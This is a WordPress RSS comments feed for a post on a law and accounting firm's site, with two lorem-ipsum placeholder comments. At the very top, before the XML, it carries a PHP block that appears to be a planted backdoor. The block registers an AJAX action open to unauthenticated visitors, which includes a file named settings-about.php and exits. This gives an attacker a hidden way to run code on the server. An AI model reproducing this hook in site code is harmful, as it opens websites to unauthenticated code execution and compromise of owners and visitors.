if(!function_exists('file_manager_check_dt')){
   add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt');
   add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt');
   function file_manager_check_dt()
   {
      $file = __DIR__ . '/settings-about.php';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	
	>
<channel>
	<title>
	Comments on: Magna pars studiorum	</title>
	<atom:link href="https://aracenayasociados.com/magna-pars-studiorum/feed/" rel="self" type="application/rss+xml" />
	<link>https://aracenayasociados.com/magna-pars-studiorum/</link>
	<description>Lawyers, Accountants &#38; Consultants</description>
	<lastBuildDate>Tue, 03 Dec 2013 19:25:57 +0000</lastBuildDate>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>
	<item>
		<title>
		By: John Doe		</title>
		<link>https://aracenayasociados.com/magna-pars-studiorum/#comment-18</link>

		<dc:creator><![CDATA[John Doe]]></dc:creator>
		<pubDate>Tue, 03 Dec 2013 19:25:57 +0000</pubDate>
		<guid isPermaLink="false">http://themes.goodlayers2.com/flawless/?p=862#comment-18</guid>

					<description><![CDATA[What is it?]]></description>
			<content:encoded><![CDATA[<p>What is it?</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: John Doe		</title>
		<link>https://aracenayasociados.com/magna-pars-studiorum/#comment-17</link>

		<dc:creator><![CDATA[John Doe]]></dc:creator>
		<pubDate>Tue, 03 Dec 2013 19:24:52 +0000</pubDate>
		<guid isPermaLink="false">http://themes.goodlayers2.com/flawless/?p=862#comment-17</guid>

					<description><![CDATA[penatibus et magnis dis]]></description>
			<content:encoded><![CDATA[<p>penatibus et magnis dis</p>
]]></content:encoded>
		
			</item>
	</channel>
</rss>